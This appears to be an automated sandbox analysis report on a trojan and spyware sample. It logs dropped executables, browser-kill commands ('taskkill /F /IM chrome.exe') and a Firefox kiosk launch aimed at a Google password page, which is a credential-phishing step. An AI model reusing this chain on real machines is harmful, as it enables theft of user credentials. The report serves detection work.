Source: file.exe, 00000000.00000003.2023147205.0000000005C99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031789467.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023586605.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021205102.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017206071.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033059508.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024008041.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018832652.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020875844.0000000005C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033568291.0000000005D04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019916520.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2028112322.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017531158.0000000005D20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020780021.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015313745.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015154432.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015934215.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017710728.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030005465.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021896499.0000000005C98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027533201.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017126086.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024196348.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031445957.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016443078.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2026950705.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022651985.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030473682.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021403040.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022509914.0000000005D80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023730401.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032041899.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033398132.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020216121.0000000005D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029557729.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024378884.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029779180.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021530029.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032635545.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014745732.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032763754.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030833303.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020017567.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031073508.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018924711.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016085096.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030357104.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019513206.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031193222.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030716576.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032897736.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023228074.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022790950.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018330187.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027980567.0000000005DBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027119986.0000000005CC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022254233.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053525627.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016522348.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2025263126.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053273914.000000000572A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014813726.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017632769.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030239153.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017791501.0000000005D10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020119718.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032473045.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: innoinstaller[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: innoinstaller.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: Section: gwpiiybp ZLIB complexity 0.9939272827619472
Source: skotes.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: skotes.exe.5.dr	Static PE information: Section: gwpiiybp ZLIB complexity 0.9939272827619472
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: 70bf1463df.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: random[1].exe0.8.dr	Static PE information: Section: wcmalsok ZLIB complexity 0.9949215235077984
Source: e90585a72a.exe.8.dr	Static PE information: Section: wcmalsok ZLIB complexity 0.9949215235077984

Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@53/27@49/13

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Code function: 4_2_053115D0 ChangeServiceConfigA,

4_2_053115D0

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NSXWT8JG74T0IR99MSITIVFVWS7V.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:64:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1726166862.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610008162.00000000053F6000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610582123.00000000053C5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 52%
Source: file.exe	ReversingLabs: Detection: 39%

Source: VG65QSLZVUGSLKDE78EZSIIG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe "C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe "C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe"
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe"
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe"
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process created: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe "C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process created: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe "C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe "C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe "C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process created: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe "C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe"
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process created: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe "C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe"
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
